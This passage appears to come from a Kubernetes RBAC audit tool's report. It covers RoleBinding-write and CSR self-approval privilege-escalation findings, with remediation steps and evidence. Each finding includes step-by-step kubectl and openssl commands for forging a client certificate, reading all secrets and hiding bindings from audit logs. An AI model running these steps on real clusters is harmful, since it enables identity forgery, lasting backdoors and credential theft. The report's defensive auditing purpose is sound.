A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

  1. Attacker enumerates what they can already bind with kubectl auth can-i create clusterrolebindings --as=deepchain-binder -n deepchain-tenant and kubectl auth can-i --list --as=deepchain-binder -n deepchain-tenant.
  2. If they hold a useful role, they create a ClusterRoleBinding granting that role to a backup identity for persistence.
  3. With bind on cluster-admin (often via wildcards), they create a ClusterRoleBinding from themselves to cluster-admin.
  4. Even without bind, in kube-system they create a RoleBinding referencing system:controller:clusterrole-aggregation-controller (which has escalate baked in) and pivot from there.
  5. They name the binding innocuously (e.g. monitoring-readonly) so audit logs look benign.
Remediation
Restrict create/update/patch on rolebindings/clusterrolebindings to a small admin boundary; require all RBAC changes to flow through GitOps with PR review.
  1. Audit who has write access to RBAC bindings. Most workloads should have zero RBAC write rights.
  2. Remove the verbs entirely from this Role/ClusterRole, or scope them with resourceNames to a fixed list of binding names that the workload owns.
  3. Move RBAC management to GitOps (Argo CD/Flux) so binding changes require a PR. The GitOps controller should be the only identity with cluster-wide RBAC write access.
  4. Add a ValidatingAdmissionPolicy that rejects ClusterRoleBindings to high-risk ClusterRoles (cluster-admin, admin, anything matching *system:*) outside an approved admin allowlist.
  5. Verify with kubectl auth can-i create clusterrolebindings --as=deepchain-binder -n deepchain-tenant returning no.
Evidence
ScopeNamespace
Namespacedeepchain-tenant
API groupsrbac.authorization.k8s.io
rbac.authorization.k8s.io: RBAC objects (write access is roughly cluster takeover)
Resourcesrolebindings
rolebindings: Namespace-scoped RBAC grants
Verbscreateupdatepatch
create: Create new objects of this resource
update: Replace existing objects
patch: Mutate existing objects in place
Source roledeepchain-binder
Inspect: kubectl get role deepchain-binder -n deepchain-tenant -o yaml
Source bindingdeepchain-binder
Inspect: kubectl get rolebinding deepchain-binder -n deepchain-tenant -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    "rbac.authorization.k8s.io"
  ],
  "namespace": "deepchain-tenant",
  "resource_names": null,
  "resources": [
    "rolebindings"
  ],
  "scope": "namespace",
  "source_binding": "deepchain-binder",
  "source_binding_kind": "RoleBinding",
  "source_role": "deepchain-binder",
  "source_role_kind": "Role",
  "verbs": [
    "create",
    "update",
    "patch"
  ]
}
CRITICAL ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate Namespace 10.0
Namespace rbac-ns-fixtures only write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate)
Scope · Namespace Namespace rbac-ns-fixtures only
Category: Privilege Escalation Subject: ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate Resource: RBACRule/rbac-ns-fixtures/r-ns-rolebinding-mutate

Subject ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate can create/update/patch rolebindings/clusterrolebindings via RoleBinding rbac-ns-fixtures/rb-ns-rolebinding-mutate → Role rbac-ns-fixtures/r-ns-rolebinding-mutate. Namespace rbac-ns-fixtures only.

RoleBinding write is the most direct self-grant path in Kubernetes. Even with the API-level escalation guard active (binding only to roles whose permissions you already have), this permission is dangerous: if the subject already holds any powerful permission (often inherited from a default ClusterRole like view/edit), they can re-bind it to backup identities for persistence.

A RoleBinding can also reference a *ClusterRole*, granting that ClusterRole's permissions inside the binding's namespace, so create rolebindings in kube-system is effectively cluster-admin-on-kube-system. Combined with bind on clusterroles (KUBE-PRIVESC-009), this bypasses the escalation guard entirely and yields cluster-admin in one step. Microsoft's Threat Matrix for Kubernetes documents this as the Cluster-admin binding technique.

Impact Self-grant any role the subject already holds (or any ClusterRole, when paired with bind or when binding into namespaces); cluster-wide writes are one step from cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueRoleBinding write access plus bind

create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

  1. Attacker enumerates what they can already bind with kubectl auth can-i create clusterrolebindings --as=sa-ns-rolebinding-mutate -n rbac-ns-fixtures and kubectl auth can-i --list --as=sa-ns-rolebinding-mutate -n rbac-ns-fixtures.
  2. If they hold a useful role, they create a ClusterRoleBinding granting that role to a backup identity for persistence.
  3. With bind on cluster-admin (often via wildcards), they create a ClusterRoleBinding from themselves to cluster-admin.
  4. Even without bind, in kube-system they create a RoleBinding referencing system:controller:clusterrole-aggregation-controller (which has escalate baked in) and pivot from there.
  5. They name the binding innocuously (e.g. monitoring-readonly) so audit logs look benign.
Remediation
Restrict create/update/patch on rolebindings/clusterrolebindings to a small admin boundary; require all RBAC changes to flow through GitOps with PR review.
  1. Audit who has write access to RBAC bindings. Most workloads should have zero RBAC write rights.
  2. Remove the verbs entirely from this Role/ClusterRole, or scope them with resourceNames to a fixed list of binding names that the workload owns.
  3. Move RBAC management to GitOps (Argo CD/Flux) so binding changes require a PR. The GitOps controller should be the only identity with cluster-wide RBAC write access.
  4. Add a ValidatingAdmissionPolicy that rejects ClusterRoleBindings to high-risk ClusterRoles (cluster-admin, admin, anything matching *system:*) outside an approved admin allowlist.
  5. Verify with kubectl auth can-i create clusterrolebindings --as=sa-ns-rolebinding-mutate -n rbac-ns-fixtures returning no.
Evidence
ScopeNamespace
Namespacerbac-ns-fixtures
API groupsrbac.authorization.k8s.io
rbac.authorization.k8s.io: RBAC objects (write access is roughly cluster takeover)
Resourcesrolebindings
rolebindings: Namespace-scoped RBAC grants
Verbscreateupdatepatch
create: Create new objects of this resource
update: Replace existing objects
patch: Mutate existing objects in place
Source roler-ns-rolebinding-mutate
Inspect: kubectl get role r-ns-rolebinding-mutate -n rbac-ns-fixtures -o yaml
Source bindingrb-ns-rolebinding-mutate
Inspect: kubectl get rolebinding rb-ns-rolebinding-mutate -n rbac-ns-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    "rbac.authorization.k8s.io"
  ],
  "namespace": "rbac-ns-fixtures",
  "resource_names": null,
  "resources": [
    "rolebindings"
  ],
  "scope": "namespace",
  "source_binding": "rb-ns-rolebinding-mutate",
  "source_binding_kind": "RoleBinding",
  "source_role": "r-ns-rolebinding-mutate",
  "source_role_kind": "Role",
  "verbs": [
    "create",
    "update",
    "patch"
  ]
}
CRITICAL

CSR create + approve mints a client cert for any identity on ServiceAccount/cert-manager/cert-manager (fully enforced-authorized: also holds approve on the signer)

KUBE-PRIVESC-011 9 subjects Score 10.0

Affected subjects (9)

CRITICAL ServiceAccount/cert-manager/cert-manager Cluster 10.0
CSR create + approve mints a client cert for any identity on ServiceAccount/cert-manager/cert-manager (fully enforced-authorized: also holds approve on the signer)
Scope · Cluster Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide
Category: Privilege Escalation Subject: ServiceAccount/cert-manager/cert-manager Resource: RBACRule/cluster-admin

Subject ServiceAccount/cert-manager/cert-manager can both create certificatesigningrequests (via ClusterRoleBinding cutres-deputy-cm-admin → ClusterRole cluster-admin) and update/patch the certificatesigningrequests/approval subresource (via ClusterRoleBinding cutres-deputy-cm-admin → ClusterRole cluster-admin). Held together, those two verbs turn the certificates API into an identity vending machine.

The mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the User and each Organization as a Group, and it applies that mapping to any certificate signed by a CA in --client-ca-file — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with CN=system:serviceaccount:kube-system:<sa> authenticates as exactly that ServiceAccount and inherits every binding it has.

Note which claim actually works. O=system:masters (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any kubernetes.io/kube-apiserver-client CSR naming system:masters as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller (which holds escalate on ClusterRoles), a control-plane user like system:kube-controller-manager, or O=system:nodes for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.

The subject ALSO holds approve on kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding cutres-deputy-cm-admin → ClusterRole cluster-admin), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.

The Kubernetes project flags the underlying grant in RBAC Good Practices: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.

Impact Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCSR self-approval: forging a cluster identity

The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

  1. Attacker confirms the two halves with kubectl auth can-i create certificatesigningrequests --as=cert-manager -A and kubectl auth can-i update certificatesigningrequests/approval --as=cert-manager -A, and checks the signer gate with kubectl auth can-i --list --as=system:serviceaccount:cert-manager:cert-manager | grep signers.
  2. They pick an identity worth stealing — kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .subjects[]?' — typically a kube-system ServiceAccount or a control-plane user.
  3. They generate a key + CSR claiming it in the Common Name: openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr. (They avoid O=system:masters: CertificateSubjectRestriction rejects that Organization for this signer.)
  4. They submit it against the kubernetes.io/kube-apiserver-client signer with usages: [client auth]: kubectl apply -f csr.yaml.
  5. They self-approve: kubectl certificate approve <csr-name>. The kube-controller-manager's signer issues the cert with the cluster CA.
  6. They extract it — kubectl get csr <csr-name> -o jsonpath='{.status.certificate}' | base64 -d > steal.crt — and use it: kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A, now authenticated as the impersonated ServiceAccount with all of its permissions.
Remediation
Split the halves across different subjects: never grant create csr and update csr/approval to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the approve verb on signers should be scoped to the one signerName that identity legitimately handles.
  1. Audit who holds both verbs: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("certificatesigningrequests")) | {kind, name: .metadata.name, rules}'.
  2. Remove one half from ServiceAccount/cert-manager/cert-manager. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need create but never approval.
  3. Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no --disable-admission-plugins entry on the apiserver removes them), and scope any legitimate approve grant with resourceNames: ["<the one signerName>"] on the signers resource.
  4. For legitimate auto-approval (kubelet bootstrap), use the built-in system:kube-controller-manager flow or a CSR controller with a tightly-scoped signerName (e.g. kubernetes.io/kubelet-serving only).
  5. Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: system:masters in an Organization, any system:serviceaccount: or system:node: Common Name, and any CN naming a user bound to a privileged ClusterRole.
  6. Verify the remediation with kubectl auth can-i update certificatesigningrequests/approval --as=cert-manager -A returning no for at least one of the two halves.
  7. Check whether a cert was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.
  8. Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-deputy-cm-admin
Inspect: kubectl get clusterrolebinding cutres-deputy-cm-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-deputy-cm-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/csr-fixtures/sa-csr-mint Cluster 10.0
CSR create + approve mints a client cert for any identity on ServiceAccount/csr-fixtures/sa-csr-mint (fully enforced-authorized: also holds approve on the signer)
Scope · Cluster Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-mint Resource: RBACRule/cr-csr-mint

Subject ServiceAccount/csr-fixtures/sa-csr-mint can both create certificatesigningrequests (via ClusterRoleBinding crb-csr-mint → ClusterRole cr-csr-mint) and update/patch the certificatesigningrequests/approval subresource (via ClusterRoleBinding crb-csr-mint → ClusterRole cr-csr-mint). Held together, those two verbs turn the certificates API into an identity vending machine.

The mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the User and each Organization as a Group, and it applies that mapping to any certificate signed by a CA in --client-ca-file — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with CN=system:serviceaccount:kube-system:<sa> authenticates as exactly that ServiceAccount and inherits every binding it has.

Note which claim actually works. O=system:masters (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any kubernetes.io/kube-apiserver-client CSR naming system:masters as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller (which holds escalate on ClusterRoles), a control-plane user like system:kube-controller-manager, or O=system:nodes for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.

The subject ALSO holds approve on kubernetes.io/kube-apiserver-client (via ClusterRoleBinding crb-csr-mint → ClusterRole cr-csr-mint), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.

The Kubernetes project flags the underlying grant in RBAC Good Practices: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.

Impact Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCSR self-approval: forging a cluster identity

The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

  1. Attacker confirms the two halves with kubectl auth can-i create certificatesigningrequests --as=sa-csr-mint -A and kubectl auth can-i update certificatesigningrequests/approval --as=sa-csr-mint -A, and checks the signer gate with kubectl auth can-i --list --as=system:serviceaccount:csr-fixtures:sa-csr-mint | grep signers.
  2. They pick an identity worth stealing — kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .subjects[]?' — typically a kube-system ServiceAccount or a control-plane user.
  3. They generate a key + CSR claiming it in the Common Name: openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr. (They avoid O=system:masters: CertificateSubjectRestriction rejects that Organization for this signer.)
  4. They submit it against the kubernetes.io/kube-apiserver-client signer with usages: [client auth]: kubectl apply -f csr.yaml.
  5. They self-approve: kubectl certificate approve <csr-name>. The kube-controller-manager's signer issues the cert with the cluster CA.
  6. They extract it — kubectl get csr <csr-name> -o jsonpath='{.status.certificate}' | base64 -d > steal.crt — and use it: kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A, now authenticated as the impersonated ServiceAccount with all of its permissions.
Remediation
Split the halves across different subjects: never grant create csr and update csr/approval to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the approve verb on signers should be scoped to the one signerName that identity legitimately handles.
  1. Audit who holds both verbs: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("certificatesigningrequests")) | {kind, name: .metadata.name, rules}'.
  2. Remove one half from ServiceAccount/csr-fixtures/sa-csr-mint. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need create but never approval.
  3. Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no --disable-admission-plugins entry on the apiserver removes them), and scope any legitimate approve grant with resourceNames: ["<the one signerName>"] on the signers resource.
  4. For legitimate auto-approval (kubelet bootstrap), use the built-in system:kube-controller-manager flow or a CSR controller with a tightly-scoped signerName (e.g. kubernetes.io/kubelet-serving only).
  5. Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: system:masters in an Organization, any system:serviceaccount: or system:node: Common Name, and any CN naming a user bound to a privileged ClusterRole.
  6. Verify the remediation with kubectl auth can-i update certificatesigningrequests/approval --as=sa-csr-mint -A returning no for at least one of the two halves.
  7. Check whether a cert was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.
  8. Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation.
Evidence
ScopeCluster
API groupscertificates.k8s.io
certificates.k8s.io: Issues cluster-trusted certificates
Resourcescertificatesigningrequests
certificatesigningrequests: Issue X.509 certs honored by the API server
Verbscreategetlistwatch
create: Create new objects of this resource
Source rolecr-csr-mint
Inspect: kubectl get clusterrole cr-csr-mint -o yaml
Source bindingcrb-csr-mint
Inspect: kubectl get clusterrolebinding crb-csr-mint -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "certificates.k8s.io"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "certificatesigningrequests"
  ],
  "scope": "cluster",
  "source_binding": "crb-csr-mint",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-csr-mint",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create",
    "get",
    "list",
    "watch"
  ]
}
CRITICAL ServiceAccount/cutres/cutres-detour Cluster 10.0
CSR create + approve mints a client cert for any identity on ServiceAccount/cutres/cutres-detour (fully enforced-authorized: also holds approve on the signer)
Scope · Cluster Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-detour Resource: RBACRule/cluster-admin

Subject ServiceAccount/cutres/cutres-detour can both create certificatesigningrequests (via ClusterRoleBinding cutres-detour-direct → ClusterRole cluster-admin) and update/patch the certificatesigningrequests/approval subresource (via ClusterRoleBinding cutres-detour-direct → ClusterRole cluster-admin). Held together, those two verbs turn the certificates API into an identity vending machine.

The mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the User and each Organization as a Group, and it applies that mapping to any certificate signed by a CA in --client-ca-file — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with CN=system:serviceaccount:kube-system:<sa> authenticates as exactly that ServiceAccount and inherits every binding it has.

Note which claim actually works. O=system:masters (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any kubernetes.io/kube-apiserver-client CSR naming system:masters as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller (which holds escalate on ClusterRoles), a control-plane user like system:kube-controller-manager, or O=system:nodes for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.

The subject ALSO holds approve on kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding cutres-detour-direct → ClusterRole cluster-admin), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.

The Kubernetes project flags the underlying grant in RBAC Good Practices: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.

Impact Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCSR self-approval: forging a cluster identity

The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder have the cluster CA sign an x509 client cert carrying any Subject DN they choose. The apiserver maps the certificate's CN onto the username it authorizes and each O onto a group, for any cert signed by a CA in --client-ca-file. It never checks whether that identity is one Kubernetes would have issued — so CN=system:serviceaccount:kube-system:<sa> authenticates as that ServiceAccount even though Kubernetes itself never issues certificates to ServiceAccounts.

Pick the claim carefully. O=system:masters is the famous version and the one modern clusters block: CertificateSubjectRestriction (default-on since 1.19) rejects that Organization for the kubernetes.io/kube-apiserver-client signer. The Common Name is unrestricted, so the route that works is claiming an existing privileged identity — a kube-system ServiceAccount such as clusterrole-aggregation-controller, or a control-plane user like system:kube-controller-manager.

Note the second gate on the approval side: since 1.19 the CertificateApproval admission plugin also requires the approver to hold the approve verb on the CSR's signers resource. A subject with only the two CSR verbs has a latent escalation that goes live the moment the signer verb is added or the plugin is disabled.

This is a permanent backdoor primitive: cert validity is whatever the signer applies (often a year), Kubernetes has no revocation list, and removing the RBAC grant does not invalidate an issued cert — only a CA rotation does.

  1. Attacker confirms the two halves with kubectl auth can-i create certificatesigningrequests --as=cutres-detour -A and kubectl auth can-i update certificatesigningrequests/approval --as=cutres-detour -A, and checks the signer gate with kubectl auth can-i --list --as=system:serviceaccount:cutres:cutres-detour | grep signers.
  2. They pick an identity worth stealing — kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .subjects[]?' — typically a kube-system ServiceAccount or a control-plane user.
  3. They generate a key + CSR claiming it in the Common Name: openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr. (They avoid O=system:masters: CertificateSubjectRestriction rejects that Organization for this signer.)
  4. They submit it against the kubernetes.io/kube-apiserver-client signer with usages: [client auth]: kubectl apply -f csr.yaml.
  5. They self-approve: kubectl certificate approve <csr-name>. The kube-controller-manager's signer issues the cert with the cluster CA.
  6. They extract it — kubectl get csr <csr-name> -o jsonpath='{.status.certificate}' | base64 -d > steal.crt — and use it: kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A, now authenticated as the impersonated ServiceAccount with all of its permissions.
Remediation
Split the halves across different subjects: never grant create csr and update csr/approval to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the approve verb on signers should be scoped to the one signerName that identity legitimately handles.
  1. Audit who holds both verbs: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("certificatesigningrequests")) | {kind, name: .metadata.name, rules}'.
  2. Remove one half from ServiceAccount/cutres/cutres-detour. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need create but never approval.
  3. Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no --disable-admission-plugins entry on the apiserver removes them), and scope any legitimate approve grant with resourceNames: ["<the one signerName>"] on the signers resource.
  4. For legitimate auto-approval (kubelet bootstrap), use the built-in system:kube-controller-manager flow or a CSR controller with a tightly-scoped signerName (e.g. kubernetes.io/kubelet-serving only).
  5. Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: system:masters in an Organization, any system:serviceaccount: or system:node: Common Name, and any CN naming a user bound to a privileged ClusterRole.
  6. Verify the remediation with kubectl auth can-i update certificatesigningrequests/approval --as=cutres-detour -A returning no for at least one of the two halves.
  7. Check whether a cert was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.
